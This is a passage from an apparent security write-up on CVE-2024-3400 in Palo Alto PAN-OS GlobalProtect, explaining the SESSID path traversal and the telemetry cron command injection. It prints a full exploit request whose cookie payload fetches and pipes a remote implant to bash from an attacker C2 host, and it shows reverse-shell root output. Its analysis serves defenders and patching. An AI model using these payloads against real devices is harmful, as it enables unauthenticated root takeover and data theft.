PAN-OS CVE-2024-3400: GlobalProtect Command Injection

Overview & Threat Landscape: The Vulnerability of Edge Security Appliances#

PAN-OS CVE-2024-3400 enables unauthenticated root RCE via SESSID path traversal and telemetry cron injection; apply hotfixes and audit device logs.

In the enterprise cybersecurity landscape, perimeter security appliances—specifically Next-Generation Firewalls (NGFWs) and Virtual Private Network (VPN) gateways—serve as the foundational boundary between untrusted external networks and sensitive corporate enclaves. Solutions such as Palo Alto Networks PAN-OS appliances are deployed across government agencies, Fortune 500 corporations, and critical infrastructure operators to police network boundaries, enforce zero-trust policies, and terminate encrypted remote-access connections. However, because these edge appliances sit exposed directly to the public internet, operate with elevated system privileges, and historically cannot accommodate third-party Endpoint Detection and Response (EDR) agents, they have become the premier target for nation-state advanced persistent threat (APT) actors.

This systemic threat culminated in April 2024 with the disclosure of CVE-2024-3400 (CVSS 10.0 Critical, mapped to CWE-22: Path Traversal, CWE-77: Command Injection, MITRE ATT&CK T1190: Exploit Public-Facing Application, and T1059.004: Command and Scripting Interpreter: Unix Shell). Discovered in the wild by cybersecurity researchers at Volexity during an espionage campaign tracked as Operation MidnightEclipse (attributed to threat actor UTA0218), CVE-2024-3400 represents an unauthenticated, remote code execution (RCE) vulnerability in the GlobalProtect feature of PAN-OS versions 10.2, 11.0, and 11.1. Rapidly cataloged in the CISA Known Exploited Vulnerabilities (KEV) database, the vulnerability was actively exploited to compromise firewall appliances, harvest VPN credentials, exfiltrate active running configurations, and establish stealthy persistent backdoors within internal networks.

The tactical and strategic factors that elevate CVE-2024-3400 into an extraordinary perimeter security crisis include:

• The Lethal Two-Stage Exploitation Chain: The vulnerability does not rely on complex memory corruption or buffer overflows. Instead, it chains two separate software defects: an arbitrary zero-byte file creation vulnerability in the GlobalProtect web server caused by unsanitized SESSID cookie path traversal, followed by an operating system command injection vulnerability in a scheduled device telemetry script that executes shell commands as root.

• Zero Authentication Requirement: An attacker requires no pre-existing user accounts, administrative credentials, or network privileges. A single unauthenticated HTTP POST request directed to the publicly exposed GlobalProtect portal or gateway interface is sufficient to initiate the compromise.

• Ambient Root Execution Environment: The telemetry processing script (/usr/local/bin/device_telemetry_send.py) is invoked on a scheduled cron basis under the root (UID 0) user account. Consequently, the injected payload executes with unconstrained supervisor privileges, granting adversaries complete control over the underlying Linux operating system.

• Sophisticated Threat Actor Targeting: Forensic investigations by Volexity and Unit 42 revealed that adversary UTA0218 conducted highly targeted operations, using CVE-2024-3400 as a strategic wedge to breach high-value defense industrial base (DIB), telecommunications, and government networks. The actor prioritized stealing Active Directory service account secrets, firewall configuration archives, and private SSL decryption keys, turning the perimeter firewall into an unmonitored intelligence-gathering hub.

• Stealthy In-Memory and Living-off-the-Land Persistence: As demonstrated by threat actor UTA0218, attackers weaponized CVE-2024-3400 to deploy UPSTYLE, a highly covert Python backdoor embedded directly into legitimate web server CSS stylesheet files (bootstrap.min.css) and Python standard library paths. The backdoor executed commands received via network requests and scrubbed web server logs in real time, frustrating conventional post-incident forensic investigations.

Warning

PAN-OS firewalls running versions 10.2, 11.0, or 11.1 with GlobalProtect and Device Telemetry enabled are subject to immediate, unauthenticated root takeover via CVE-2024-3400. Immediate patching is mandatory.

Vulnerability & Attack Root-Cause Analysis#

: Deconstructing SESSID Traversal and the Telemetry Cron Chain To understand how CVE-2024-3400 functions, security architects must deconstruct the interaction between the GlobalProtect web server, the local PAN-OS file structure, and the background device telemetry processing subsystem. Stage 1: The Arbitrary 0-Byte File Creation Primitive (CWE-22) The GlobalProtect feature exposes an external web server daemon (a modified Nginx/Apache service named sslvpn) responsible for authenticating remote users and serving portal login pages (/global-protect/login.esp) and Host Information Profile (HIP) reporting endpoints (/ssl-vpn/hipreport.esp).

When an HTTP client interacts with these endpoints, the server inspects the incoming Cookie header for a session identifier (SESSID). In standard operations, PAN-OS expects SESSID to contain a valid session GUID formatted as a 32-character hexadecimal string. However, in vulnerable PAN-OS releases, the web application code processed the cookie value without sanitizing directory traversal sequences (../) or shell metacharacters.

The server logic used the unsanitized SESSID string to track incoming sessions by creating an empty tracking file on disk. The conceptual logic executed by the web daemon resembles:

PYTHON

# Conceptual representation of vulnerable session file initialization in sslvpn
def handle_incoming_request(request):
    sessid_cookie = request.cookies.get("SESSID")
    if sessid_cookie:
        # FLAW 1: Concatenating unvalidated cookie with local filesystem path
        session_file_path = f"/opt/panlogs/tmp/device_telemetry/minute/{sessid_cookie}"
        # Flaw allows directory traversal: if SESSID contains ../, the path escapes!
        try:
            with open(session_file_path, "w") as f:
                pass # Creates an empty (0-byte) file on disk
        except Exception as e:
            pass

Because the application executed with permissions capable of writing across the /opt/panlogs/ hierarchy, an attacker supplying a cookie such as:

POWERSHELL

Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/curl${IFS}c2.attacker.com/payload|bash

causes the web server to create an empty, zero-byte file whose filename itself is the literal shell command enclosed in backticks! The file system layer creates the file without error because Linux file names can legally contain backticks, dollar signs, braces, and pipe characters. Stage 2: The Command Injection in Device Telemetry (CWE-77) The second half of the vulnerability resides in the PAN-OS Device Telemetry feature. Device Telemetry collects operational metrics, system health logs, and threat intelligence from the firewall and periodically transmits the bundled data to Palo Alto Networks Cortex Data Lake.

To manage telemetry batching, PAN-OS installs a cron job located at /etc/cron.d/device_telemetry_minute that executes every minute:

PLAINTEXT

# /etc/cron.d/device_telemetry_minute

root /usr/bin/python3 /usr/local/bin/device_telemetry_send.py /opt/panlogs/tmp/device_telemetry/minute

The Python script /usr/local/bin/device_telemetry_send.py inspects the directory passed as an argument (/opt/panlogs/tmp/device_telemetry/minute), gathers all staged files, and prepares them for compression and network transmission.

However, when processing filenames in this directory, the script constructed an unquoted shell command and executed it via the system shell (/bin/sh or /bin/bash):

PYTHON

# Conceptual representation of vulnerable telemetry packaging in device_telemetry_send.py
import os

  
    PYTHON
    
      Copy
    
  
  import sys

def package_telemetry(directory):
    files = os.listdir(directory)
    for filename in files:
        # FLAW 2: Filename interpolated directly into shell command string!
        cmd = f"tar -czf /tmp/telemetry.tar.gz -C {directory} {filename}"
        
        # When shell=True or system() evaluates the command:
        # The backticks `...` in the filename are parsed by bash as a command substitution!
        os.system(cmd)

Because os.system() invokes /bin/sh -c, the Unix shell interprets backticks (`) and dollar-parentheses ($(...)) as command substitution operators. The shell pauses execution of the tar command, executes the command string embedded within the filename with full root privileges, and substitutes the standard output back into the command line.

Through this elegant, file-based interaction, the attacker transitions from an unauthenticated HTTP request to arbitrary operating system code execution as root. Furthermore, because the transmission of telemetry requires a valid device certificate (which every legitimately provisioned Palo Alto Networks firewall possesses), the cron script executes predictably across all production firewall instances.

Exploit Architecture#

: Two-Stage Exploitation Sequence Flowchart The following sequence diagram illustrates the chronological execution flow of CVE-2024-3400, detailing how an external unauthenticated request chains through the web daemon, the filesystem, and the root cron scheduler to achieve command execution.

sequenceDiagram
    autonumber
    actor Attacker as Attacker (Unauthenticated Remote Client)
    participant Web as GlobalProtect Web Server (sslvpn daemon :443)
    participant FS as Local Filesystem (/opt/panlogs/tmp/device_telemetry/minute/)
    participant Cron as Cron Subsystem (/etc/cron.d/device_telemetry_minute)
    participant Telemetry as Telemetry Script (device_telemetry_send.py - root)
    participant Shell as Linux Bash Shell (UID 0)
    actor C2 as Attacker C2 / Reverse Shell Listener

    Note over Attacker: 1. Construct SESSID directory traversal & command payload
    Attacker->>Web: POST /ssl-vpn/hipreport.esp (Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/`curl...`)
    Note over Web: Web server parses SESSID without path sanitization (CWE-22)

    Web->>FS: touch /opt/panlogs/tmp/device_telemetry/minute/`curl${IFS}c2/sh|bash`
    FS-->>Web: 0-byte file created successfully
    Web-->>Attacker: HTTP/1.1 200 OK (Empty Session Response)

    Note over Cron: 2. Scheduled telemetry interval triggers (Every 60 seconds)
    Cron->>Telemetry: Execute /usr/bin/python3 device_telemetry_send.py as root
    Telemetry->>FS: os.listdir(/opt/panlogs/tmp/device_telemetry/minute/)
    FS-->>Telemetry: Returns file: `curl${IFS}c2/sh|bash`

    Note over Telemetry: 3. Unsanitized filename passed to shell command
    Telemetry->>Shell: os.system("tar -czf ... `curl${IFS}c2/sh|bash`")
    Note over Shell: Bash evaluates backticks: Executes curl command as root!

    Shell->>C2: Outbound HTTP GET /sh (Fetches stage-2 root payload)
    C2-->>Shell: Returns reverse shell / UPSTYLE script
    Shell->>C2: Connect reverse shell / establish persistent backdoor
    Note over Attacker: Full root perimeter firewall compromise complete!

Attack Path Step-by-Step: From Pre-Auth HTTP Request to Root Backdoor Deployment#

The following section demonstrates the operational steps executed during in-the-wild exploitation of CVE-2024-3400, based on forensic analysis from CISA, Volexity, and Unit 42.

Phase 1: Target Fingerprinting & Attack Surface Verification#

Adversaries begin by scanning for exposed Palo Alto Networks GlobalProtect portals and gateways:

POWERSHELL

### 1. Query the GlobalProtect portal to identify active services

curl -k -I https://vpn.target-enterprise.com/global-protect/login.esp

  # 2. Inspect server headers and SSL certificate details

curl -k -s https://vpn.target-enterprise.com/ssl-vpn/hipreport.esp | head -n 5

If the firewall responds with GlobalProtect headers and the device version falls within PAN-OS 10.2, 11.0, or 11.1, the appliance is designated as potentially vulnerable.

Phase 2: Transmitting the Poisoned SESSID Request#

The attacker transmits an unauthenticated HTTP POST request containing a crafted SESSID cookie. Because space characters ( ) are disallowed in HTTP cookies, attackers utilize the internal field separator environment variable (${IFS}) or base64 decoding to pass multi-argument command strings:

POWERSHELL

### Transmit the stage-1 exploit payload creating the zero-byte file

curl -k -X POST https://vpn.target-enterprise.com/ssl-vpn/hipreport.esp \

    -H "Host: vpn.target-enterprise.com" \

    -H "Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/`curl${IFS}-s${IFS}https://c2.fastcyberdefense.com/implant|bash`" \

    -d "input=validation"

The web server returns an HTTP 200 response, having silently written the 0-byte file into /opt/panlogs/tmp/device_telemetry/minute/ on the firewall's root partition.

Phase 3: Root Execution via the Telemetry Daemon#

Within 60 seconds, the cron scheduler triggers /usr/local/bin/device_telemetry_send.py. As the script processes the directory, bash evaluates the backticks, fetching and executing the remote script. The attacker's listener immediately catches an interactive root shell:

POWERSHELL

### Inbound root shell connection caught on attacker listener

Connection received on c2.fastcyberdefense.com 4444

id

uid=0(root) gid=0(root) groups=0(root)

uname -a

Linux PA-5250 4.18.0-240.1.1.20.pan.x86_64 #1 SMP PREEMPT Thu Mar 28 14:22:10 PDT 2024 x86_64 GNU/Linux

cli

admin@PA-5250> show system info

Phase 4: Threat Actor Post-Exploitation & The UPSTYLE Backdoor#

In real-world intrusions documented by Volexity during Operation MidnightEclipse, threat actor UTA0218 bypassed detection by deploying UPSTYLE, a modular Python backdoor engineered to reside in memory and leverage existing web components: